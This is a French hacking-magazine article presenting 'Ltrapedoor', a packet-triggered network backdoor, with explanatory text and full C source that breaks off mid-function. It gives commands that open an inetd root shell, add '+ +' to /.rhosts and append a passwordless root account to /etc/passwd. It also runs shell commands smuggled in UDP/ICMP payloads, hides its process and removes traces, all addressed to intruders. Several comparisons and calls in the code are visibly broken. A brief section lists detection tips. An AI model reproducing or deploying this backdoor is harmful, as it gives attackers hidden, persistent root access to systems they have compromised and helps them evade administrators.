--------------------------------------------------------------------------------------- VII. Network Traffic Backdoor - Ltrapedoor.c Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Une backdoor est un petit programme permettant à un pirate de regagner l'accès perdu sur un système précédemment pénétré. Même s'il est vrai que l'heure est plus à l'utilisation de lkm ou de kernel based backdoors, les backdoors classiques restent encore des outils, bien que proposant des techniques d'invisiblité moins poussées, qui permettent de conserver un accès à long terme. L'incovénient des lkm (i.e Loadable Kernel Module) réside dans le fait que la programmation de modules ne permet pas d'utiliser les librairies de la classique libc, ils sont donc beaucoup plus complexes à programmer (bien que la majorité des programmeurs se limitent au classique et n'innovent pas beaucoup dans le domaine). Neofox dans les issues #1 et #2 d'IOC magazine posait déjà les bases de la programmation de backdoors, je prends le relai et vous propose l'étude d'une backdoor avancée. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description : ________________ Il faut savoir qu'il existe un nombre conséquent de types de backdoors, des binaires trojanisés, timestamp backdoors, jusqu'aux kernel backdoors en passant par les library backdoors. Je vous passe les explications liées à toutes ces techniques de camouflage sur un serveur, mais sachez qu'on peut regrouper les backdoors dites "calssiques" en deux classes : les remote backdoors, et les local backdoors. Inutile de faire durer le suspens, cet article est liée à l'étude des network traffic backdoors, donc de type remote. Le principe est très simple, la majorité des backdoors en attente d'une connection affichent de façon continue un port ouvert en listening. Un simple scan de port de l'extérieur ou même de la machine attaquée suffit à déceler la présence d'un pirate. Notre backdoor, quant à elle, au lieu d'écouter un port perpétuellement en attente de binding de shell, s'activera sur la réception d'une certaine séquence de paquets. Pour cela, il nous faut exploiter les différents protocoles régissant le réseau actuel, à savoir UDP(17), TCP(6), ICMP(1). Le protocole UDP est parfait dans le cadre de notre séquencement de paquet, il possède d'une structure générique extrèmement simple, de plus les paquets UDP, sur un local, sont très nombreux à circuler, ainsi il sera plus difficile de détecter notre présence. De plus beaucoup de firewalls laissent entrer par défaut des paquets UDP à travers un réseau, comme les services DNS. Le protocole ICMP est lui aussi fiable, du fait que son utilisation réside dans le ressencement de machines à travers un réseau, ainsi, là encore beaucoup de firewalls laissent les systèmes se faire pinger ouvertement ! Et enfin, le protocole TCP, le plus bruyant de tous, mais aussi le plus complexe de par sa très riche structure en champs (cf datagramme TCP) nous permettra d'utiliser un grand nombre de combinaisons différentes dans la création du message d'activation de la backdoor. [ Communication avec la backdoor ] Le concept est simple : le pirate communique avec la backdoor placée sur le système dont il a perdu l'accès, avec comme passerelle un quelconque réseau (internet, intranet), et comme support une série de messages pré- -définis lors de l'installation de celle-ci. Les messages se présentent sous la forme de paquets tcp/udp/icmp ordonnés selon un odre bien précis. Nous mettrons en place trois méthodes d'authentification et communication : o La première réside sur un séquencement de paquets. Il y a deux types de messages : les messages d'activation et de fermeture. Ainsi, imaginons que le pirate construise son message avec respectivement: trois paquets udp, un paquet tcp, deux paquets icmp, la machine ciblée recevant ses paquets dans l'ordre respectif, la backdoor présente bindera alors un shell, dans le cas contraire, si l'ordre est incorrect, le message est reinitialisé à 0 pour attente d'une nouvelle tentative de connexion. Notez que la furtivité de la backdoor repose sur la patience du pirate, plus le temps écoulé entre chaque paquet sera long et plus les chances de l'administrateur de détecter notre petit programme seront minces. Mais un problème majeur se présente : par défaut un grand nombre de paquets circulent sur le réseau, et notre message d'activation pourra se voir corrompu par des paquets envoyés à la machine ciblée entre les différents paquets que nous enverrons. Ainsi, le temps écoulé entre chaque envoi devra être choisi avec soin en fonction du type de réseau, du type de serveur, du type de traffic et de l'heure. Vous l'avez compris, les paquets icmp ou udp dans le cas d'un serveur web seront plus fiables car plus rares que leurs homologues tcp. o La seconde nécéssite l'utilisation de paquets "mal-formés" ou dits rares. En effet, certains champs des protocoles ip/tcp/udp/icmp sont souvent inutilisés ou peuvent prendre des valeurs originales. Je pense au protocole IP, qui actuellement est utilisé sous la mouture IPV4, la version de l'ip est définie via le champ ip->version, ainsi en lui assignant la version 6, nous obtenons un paquet informe (la version 6 du protocole IP ne correspond pas à l'header de la version 4), ou encore certains codes de messages icmp comme le code 3 (destination unreachable) utilisé dans le cadre d'un ping, ou encore le code 30 caractérisant le tracerouting. Notez que la machine ciblée doit prendre charge l'IPv6, sans cela, machine peut planter. o La troisième et dernière se base sur l'analyse des champs d'adressage IP source et destination du datagramme IP. Au début du code de la backdoors des constantes sont déclarées, lors de la boucle de réception des paquets, si un quelconque paquet présente une IP source correspondant à la constante déclarée, alors la backdoor s'active selon les options préalablement définies. Seuls les protocoles ICMP et UDP sont pris en considération par cette technique. [ UDP/ICMP GRABBING - BLIND ACTIVITY ] L'accès à certains systèmes est souvent gardé par des firewalls, qu'ils soient configurés de façon honorable ou non n'est pas de notre ressort, mais la majorité des pares-feu dropperons les paquets tcp envoyés non autorisés. Ainsi, via la méthode de séquencement udp/icmp, nous pourrons nous garentir l'activation de la trappe, mais il se peut qu'un firewall présente des réticences quand à l'intégrité des commandes que nous enverrons au shell. Il nous faut donc trouver un moyen d'envoyer les commandes de manière parfaitement invisible. Ceci se fait très simplement en utilisant des techniques d'udp/icmp grabbing. Le principe est simple, comme expliqué précedemment, beaucoup de firewalls n'empèchent pas la réception des paquets udp et icmp, il nous suffit alors d'insérer nos commandes dans le champ data de chacun des datagrammes, on encapsule le tout et on envoie ! La communication se fait donc à travers un tunnel que nous créons. Je n'ai pas particulièrement travaillé ce mode, ainsi deux problèmes majeurs se présentent : Aucun algorithme de chiffrement des données (nos commandes) n'est utilisé, l'administrateur réseau peut alors très facilement déceler notre activité, et en deuxième lieu la communication ne se fait que dans un sens, ainsi seules des commandes telles que insmod, rmmod, kill, rm, sed, echo..etc peuvent être utilisés le flux de sortie ne pouvant être lu (un ls serait futile vu que la sortie ne s'afficherait pas sur notre écran), d'ou le nom "activité à l'aveuglette". [ Activité de la backdoor ] Ayant authentifié le pirate désireux de s'approprier le système de la victime, la backdoor s'active. Il faut comprendre par là qu'avant de laisser la main au pirate via un shell qu'elle bind sur le port 8055 (!), elle éxécute quelques fonctions qui permettent de laisser une porte ouverte de façon continue sur le système (si le pirate l'a spécifié lors de l'éxécution de la trappe sur le système ciblée). Ainsi, après le séquencement de paquets reçu sans encombre, la backdoor est programmée pour éxécuter l'équivalent des commandes suivantes : # echo 8055 stream tcp nowait root /bin/sh sh >> /tmp/.ind # echo + + >> /.rhosts # echo $user::0:0:$user:/root:/bash >> /etc/passwd Notez que l'ensemble des commandes est éxécuté si le pirate le spécifie, il peut par exemple choisir de n'éxécuter que le dernier echo. Ainsi, 3 portes sont ouvertes sur le système, un accès root sur le 8055, un accès root rsh/rlogin, un compte root permanent. Enfin lors de la fermeture de la backdoor (commandée par la récéption d'un message de fermeture), la backdoor sur ordre du pirate peut effacer quelques unes de ses traces (notez que je n'ai pas travaillé l'étape de clean logging, c'està vous d'effacer vos traces dans certains logs), l'équivalent des commandes suivantes sont éxécutées : # rm -f /tmp/.ind # rm -f /.rhosts # cat /etc/passwd | grep -v $user > /etc/passwd Ces trois commandes, permettent de détruire les fichiers sensibles permettant à un quelconque autre individu de pénétrer le système que nous avons rooté sans permission, et de manière générale, de détecter la présence d'un pirate sur ce système. [ Sécuriser un système ] Les diverses techniques liées à la sécurité des systèmes contre les trappes ne sont pas le sujet de cette article, et je vais me contenter ici de donner quelques idées. Tout d'abord, actuellement beaucoup de lkms sont en vogue sur le réseau des réseaux, il est donc important de se protéger efficacement contre ce type de backdoor. C'est un sujet très complexe de par le nombre conséquents de techniques de détections possibles. Beaucoup de lkm détournent des syscalls liées au système de fichier (Filesystem) comme query_module/getdents/write/open pour se cacher aux yeux de certaines commandes comme ps, lsmod, rmmod, kstat, cat, ls... Ainsi, sans le nom exact du module chargée en mémoire ou des connaissances pointues de son système, ce genre de backdoor resteront indétectables à long terme. Sachez tout de même que la majorité des lkm ne détournent pas l'ensemble des appels systèmes liées à l'analyse d'un système de fichiers voici quelques commandes intéréssantes : ¤ # lsmod /* pour afficher la liste des modules chargées */ ¤ # grep /proc/modules /* cherche le module */ ¤ # ls -l /lib/modules/ /* affiche les modules chargées par défaut à chaque boot */ ¤ # cat /proc/modules /* analyse /proc/modules */ ¤ # ps -aux /* pour afficher la liste des processus */ ¤ # kstat -s/-m /* liste les modules, adresses des syscalls et processus de /dev/kmem/ */ ¤ # rmmod /* supprime le module entré en argument */ Nous n'étudierons pas le fonctionnement de chacune de ces commandes, retenez juste que des modules détournent des appels systèmes comme SYS_GETDENTS (pour masquer la présence d'un fichier dans un répertoire), SYS_WRITE (pour manipuler les flux de sorties et les résultats affichés à l'écran), SYS_OPEN (pour masquer le contenu d'un fichier en retournant des erreurs par exemple), SYS_QUERYMODULE (détourne lsmod et rmmod) ou encore SYS_EXECVE (redirige alors l'éxécution d'un fichier), SYS_SOCKETCALL (manipulation de sockets, essentiel pour la programmation d'une backdoor). Dans le cas de backdoors classiques comme celle que nous allons programmer, la protection d'un système ne se limite pas à l'éxécution de quelques commandes types, mais à l'implémentation de systèmes ids/hids (snort) efficaces, à la surveillance du réseau et à la vigilance de l'administrateur. Il est alors conseillé de commuter le réseau pour éviter à un éventuel pirate ayant gagné l'accès sur votre machine de mettre main basse sur votre réseau entier. La mise en place d'un firewall bien configuré "droppant" les pings est particulièrement recommandé. Notre backdoor sniffera les paquets entrant et sortant en mode promiscuous (voir article sniffing), ainsi, un simple antisniff vous suffira de la déceler. N'oubliez pas de vérifier constamment la liste des process, vos logs (wtmp, utmp, lastlog, xferlog, maillog, mail, httpd.error_log,n http.acces_log...etc) ainsi que des fichiers régissant l'accès à votre machine (rhosts, /etc/passwd...). II. Programmation : ___________________ Nous touchons enfin à la partie ludique de cette article : la programmation d'une network traffic backdoor polyvalente. Comme les fois précédentes, nous étudierons successivement les différentes fonctions du code source, avec si nécéssaire quelques élargissements. Voici venu le temps de vous présenter la backdoor dans son intégralité, et, comme lsniff elle présente différents modes de fonctionnement : -h : password de protection -i : echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind -r : echo + + >> /.rhosts -p : echo user::0:0:user:/root:/bash >> /etc/passwd -c : code d'activation de la backdoor (type integer) Remarque: udp = 2; tcp = 0; tcp = 1 -f : mode informe, utilise paquets informes pour communiquer avec le serveur -d : mode d'adressage ip, ip définie lors de la compilation -a : mode AF, envoi des commandes à travers des paquets udp/icmp -h : cet argument précède le mot de passe défini lors de la compilation, si ce mot de passe est invalide, ou l'argument manquant, la backdoor se fermera. -i : glisse la ligne "5002 stream tcp nowait root /bin/sh sh" dans tmp/.ind pour permettre un accès root sur le port 8005. -r: crée un fichier .rhost ++, accès root rsh/rlogin -p : crée un compte root sans password avec pour nom -c : code d'activation de la backdoor (voir algorithme) -f : mode informe, la backdoor s'active sur récéption de paquets rares (ex: ip->version = 6) -d : mode d'adressage ip, la backdoor s'active sur réception d'un paquet udp/icmp avec pour ip->saddr l'ip définie lors de la compilation -a : mode anti-firewall, les commandes ne sont pas directement envoyées sur le shell bindé sur le 8005 mais encapsulées dans le champs data de paquets udp/icmp puis éxécutées par la backdoor. Passons à la programmation brute de la trappe, le code source est assez long, très difficile à lire car j'ai essayé de le présenter le plus explicit possible, ainsi, certaines fonctions se répètent et les variables ont des noms assez longs. Pour les structures telles que rcvpacket, ip, tcp, udp, icmp se réfèrer à mon article Advanced sniffing. [ Point d'entrée ] Notre fonction main, à l'habitude je crée une boucle qui switch les différents arguments pour déterminer les différents modes choisies, la clé d'activation, le password... Les variables inetd, rsh, pass, informe, ip_mode, protected_mode sont de type integer mais jouent le rôle de booleans, par défaut elles prennent la valeur 0 (false), puis sélectionnés par le pirate elles valent 1(true). La variable inetd représente l'argument -i, rsh -r, pass -p, informe -f, ip_mode -d, protected_mode -a. int main(int argc, char *argv[]) { /* Déclaration des variables */ int inetd=0, rsh=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0; /* cle = clé d'activation de la backdoor (voir plus bas) */ /* passv = nom d'user pour le mode -p */ /* endvalue = clé de fermeture */ char *cle, *passv, *endvalue; /* Allocation dynamique de mémoire pour éviter les segfaults */ cle = (char *)malloc(1024); passv = (char *)malloc(1024); endvalue = (char *)malloc(1024); /* Valeurs par défaut */ endvalue = "22"; passv = "user"; cle = "21"; /* Vérification du password, si invalide on quitte */ if((strcmp(PWD, getpass("password: "))) != 0) return 0; if (argc < 3){ /* si argument < 3 alors on affiche l'aide et on quitte */ usage(); } else { /* Boucle de lecture des différents arguments (old way) */ while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { /* Switch des arguments (voir plus haut les correspondances) */ case 'i': inetd = 1; break; case 'r': rsh = 1; break; case 'p': pass = 1; passv = &argv[1][2]; break; case 'c': cle = &argv[1][2]; break; case 'e': endvalue = &argv[1][2]; break; case 'f': informe = 1; break; case 'd': ip_mode = 1; break; case 'a': protected_mode = 1; break; } --argc; ++argv; } } /* Si le mode d'adressage ip a été choisie alors on call waiting_ip */ if (ip_mode == 1){ waiting_ip(inetd, rsh, pass, protected_mode, passv); } else { /* Sinon death_looping (pour mode informe, ou mode normal) death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue); } return 0; } [ death_looping ] Cette fonction est construite autour d'une boucle de lecture des différents paquets que la carte réseau passée en mode promiscous reçoit. Cette fonction est appelée dans un mode normal ou informe. Nous allons maintenant (enfin !) parler de la clé d'activation (mode normal). Le pirate la défini lors du lancement de la trappe sur le système ciblée sous forme d'integer, trois chiffres sont permis 0, 1, 2. La réception d'un paquet ICMP correspond à la valeur 0, un paquet TCP à la valeur 1 et un paquet UDP à la valeur 2. A chaque réception de paquet, on vérifie le mode choisi, si mode d'adressage ip, on vérifie l'IP destinataire, si mode normal, si la clé de valeurs cumulées correspond à la clé d'activation, int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue) { int i; /* voir article advanced sniffing */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); /* allocation dynamique de mémoire */ mes = (char *)malloc(1024); daddr = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); /* mise en mode promiscous de la carte réseau */ sockfd = ouvre_interface("eth0"); /* bouble de réception des paquets */ while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* si protocole = ICMP */ if((ip->protocol) == 1){ /* si icmp -> type = host unreachable et mode informe choisie */ if ((icmp->type == 3) && (informe == 1)){ /* on ferme la trappe */ close_door(inetd, rsh, pass, passv); } else { /* Sinon on rajoute la valeur correspondant au paquet icmp (0) à la suite de la clé de chiffres cumulés */ strcat(mes,"0"); /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore */ memset(mes, 0, 1024); } } } /* si protocole = TCP */ if((ip->protocol) == 6){ /* si ip->version = IPv6 et mode informe choisie */ if((ip->version == 6) && (informe == 1)){ /* on ouvre la trappe */ open_door(inetd, rsh, pass, protected_mode, passv); } else { /* Sinon on rajoute la valeur correspondant au paquet tcp(1) à la suite de la clé de chiffres cumulés */ strcat(mes,"1"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore */ memset(mes, 0, 1024); } } } /* si protocole = UDP */ if((ip->protocol) == 17){ /* on rajoute la valeur correspondant au paquet udp (2) a la suite de la clé de chiffres cumulés */ strcat(mes,"2"); /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore (on reset mes) */ memset(mes, 0, 1024); } } } return 0; } [ Waiting_ip ] A l'instar de death_looping, cette fonction s'articule autour d'une boucle principale de capture des paquets reçus. Cette fonction est appelée avec le mode d'adressage ip, qui rappelons le, active la backdoor sur réceptions de paquets caractérisés par le champs IP destination address correspondant à l'IP défini dans le code source. Nous allons, pour comparer la constante IP et le champs ip->daddr (unsigned char), crée une fonction "make_ip" (voir plus bas) qui transforme ip->daddr en adresse IP conventionelle. int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){ int i; char *net_ip; /* char qui contiendra l'adresse IP ip->daddr transformée */ unsigned char *d; /* contiendra ip->daddr */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); /* Allocation dynamique de mémoire */ net_ip = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); /* mise en mode promiscuous de la carte réseau */ sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* si protocole = UDP */ if(ip->protocol == 17){ /* transformation de ip->daddr en ip conventionelle */ net_ip = make_ip(d); if(net_ip = DADDR) /* Ouverture de la backdoor */ open_door(inetd, rsh, pass, protected_mode, passv); } /* si protocole = ICMP */ if(ip->protocol == 1){ /* transformation de ip->daddr en ip conventionelle */ net_ip = make_ip(d); if(net_ip = DADDR) /* Fermeture de la backdoor */ close_door(inetd, rsh, pass, passv); } } return 0; } [ Protected mode ] Cette fonction correspond à l'argument -p (anti-firewall mode) qui exécute les commandes insérés dans les champs data des headers udp/icmp. int protected_com(int inetd, int rsh, int pass, char *passv){ int i, datal; /* datal = sizeof(udp->data) */ unsigned char *d; char *donnees; /* Pour notre champ data */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* Si protocole = UDP */ if (ip->protocol == 17){ /* calcule de la longueur du champ data de l'header UDP */ datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); /* le ptr données pointe sur l'adresse du champ udp->data */ donnees = (char *)(((unsigned long)buffer.data)-2); /* lecture des données */ for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); /* fermeture ? /* if(donnees = "end:connection"){ close_door(inetd, rsh, pass, passv); } else { /* si non, exécution de la commande */ system(donnees); } } /* Si protocole = ICMP */ if (ip->protocol == 1){ /* calcule de la longueur du champ data de l'header ICMP */ datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); /* le ptr données pointe sur l'adresse du champ icmp->data */ donnees = (char *)(((unsigned long)buffer.data)-2); /* lecture des données */ for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); /* exécution de la commande */ system(donnees); } } return 0; } [ Open_door ] Une fois l'authentification du pirate effectuée par la backdoor, celle-ci s'active en lançant une série de commandes définies lors de sa mise en place sur le serveur. Cette fonction est calquée sur celle de cdoor.c de fx (phenoelit), on fork deux processus pour éviter les processus inet zombis. void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) { FILE *f; char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; char *command; command = (char *)malloc(1204); /* switch de deux forks successifs pour éviter les inetd zombis */ switch (fork()) { case -1: return; case 0: switch (fork()) { case -1: _exit(0); case 0: break; default: _exit(0); } break; default: wait(NULL); return; } /* si argument -i entré, création d'un fichier tmp/.ind */ if (inetd == 1){ if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n"); execv("/usr/sbin/inetd",args); fclose(f); } /* si argument -r entré, création d'un fichier /.rhosts */ if (rsh == 1){ sprintf(command, "echo + + >> /.rhosts"); system(command); } /* si argument -p entré, création d'un nouveau compte root */ if (pass == 1){ if ((f=fopen("/etc/passwd","a+t"))==NULL) return; fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv); fclose(f); } /* si argument -a entré, alors on lance le mode protégé */ if(protected_mode == 1) protected_com(inetd, rsh, pass, passv); exit(0); } [ close_door ] En cas de réception d'un code de fermeture, la backdoor appelle la fonction "close_door", celle-ci avant de fermer complétement la trappe s'assure d'effaçer partiellement ses traces, selon les arguments entrés. void close_door(int inetd, int rsh, int pass, char *passv){ char *command; /* allocation dynamique de mémoire */ command = (char *)malloc(1024); /* si argument -i entré, on détruit /tmp/.ind */ if (inetd == 1){ command = "rm -f /tmp/.ind"; system(command); } /* si argument -r entré, on détruit /.rhosts */ if (rsh == 1){ command = "rm -f /.rhosts"; system(command); } /* si argument -p entré, on détruit le compte root dans /etc/passwd */ if (pass == 1){ sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv); system(command); } exit (1); } [ make_ip ] Cette fonction est indispensable au mode d'adressage ip, elle permet en effet de construire à partir du champ IP destination adress, une adresse IP conventionelle (unsigned char *)(ex: x.x.x.x). char *make_ip(unsigned char *d){ char *dest_addr; /* contient notre IP conventionelle */ dest_addr = (char *)malloc(4096); /* création de l'IP conventionelle */ sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]); return dest_addr; } [ Extras... ] Dans un souci de furtivité, il se peut que vous désireriez masquer le processus de votre backdoor, il suffit de placer une quelconque chaine de caractère dans la valeur de l'argument 0. Mais attention, avant toute chose il vous faut sauvegarder les arguments, car cette fonction reset toutes les valeurs, je vous conseille alors de stocker les valeurs initiales dans des variables, d'éxécuter la fonction, puis de restorer les valeurs stockées dans lesdites variables. void hide_aux(int argc, char *argv[]){ int i; /* on reset tous nos arguments */ for(i=argc-1; i >= 0; i--) memset(argv[i],0, strlen(argv[i])); /* masquage du processus */ strcpy(argv[0], P_HIDE); } III. Code source : __________________ /******************************************/ /* Ltrapedoor By Li0n7 */ /* contactez-moi: Li0n7@voila.fr */ /* http://www.ioc.fr.st */ /* http://l7l.linux-fan.com */ /* Network traffic backdoor */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PWD "31337" #define DADDR "192.148.0.5" struct iphdr *ip; struct tcphdr *tcp; struct udphdr *udp; struct icmphdr *icmp; char buf[1792], *mes, *daddr; int sockfd; unsigned char *d; struct recvpaquet { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; struct icmphdr icmp; struct udphdr udp; char data[8000]; } buffer; int size; void usage(void){ printf("\n >> Ltrapedoor by Li0n7 \n\n"); printf(" ..: lil' Options :.. \n\n"); printf(" -h<#defined pass>: must be set as first argument\n"); printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n"); printf(" -r: echo + + >> /.rhosts\n"); printf(" -p: echo user::0:0:user:/root:/bash >> /etc/passwd\n"); printf(" -c: backdoor activation key (integer type)\n Notice that: udp = 2; tcp = 0; tcp = 1 \n"); printf(" -f: weird mode, uses weird packets\n to communicate with the server \n"); printf(" -d: ip addressing mode, define ip->saddr while compiling\n"); printf(" -a: sends commands into udp/icmp packets\n (against firewalls)\n"); exit(0); } char *make_ip(unsigned char *d){ char *dest_addr; dest_addr = (char *)malloc(4096); sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]); return dest_addr; } int ouvre_interface(char *name) { struct sockaddr addr; struct ifreq ifr; int sockfd; sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } void close_door(int inetd, int rsh, int pass, char *passv){ char *command; command = (char *)malloc(1024); if (inetd == 1){ command = "rm -f /tmp/.ind"; system(command); } if (rsh == 1){ command = "rm -f /.rhosts"; system(command); } if (pass == 1){ sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv); system(command); } exit (1); } void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) { FILE *f; char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; char *command; command = (char *)malloc(1204); switch (fork()) { case -1: return; case 0: switch (fork()) { case -1: _exit(0); case 0: break; default: _exit(0); } break; default: wait(NULL); return; } if (inetd == 1){ if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n"); execv("/usr/sbin/inetd",args); fclose(f); } if (rsh == 1){ sprintf(command, "echo + + >> /.rhosts"); system(command); } if (pass == 1){ if ((f=fopen("/etc/passwd","a+t"))==NULL) return; fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv); fclose(f); } if(protected_mode == 1) protected_com(inetd, rsh, pass, passv); exit(0); } int protected_com(int inetd, int rsh, int pass, char *passv){ int i, datal; unsigned char *d; char *donnees; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if (ip->protocol == 17){ datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); if(donnees = "end:connection"){ close_door(inetd, rsh, pass, passv); } else { system(donnees); } } if (ip->protocol == 1){ datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); system(donnees); } } return 0; } int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){ int i; char *net_ip; unsigned char *d; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); net_ip = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if(ip->protocol == 17){ net_ip = make_ip(d); if(net_ip = DADDR) open_door(inetd, rsh, pass, protected_mode, passv); } if(ip->protocol == 6){ net_ip = make_ip(d); if(net_ip = DADDR) close_door(inetd, rsh, pass, passv); } } return 0; } int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue) { int i; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); mes = (char *)malloc(1024); daddr = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, 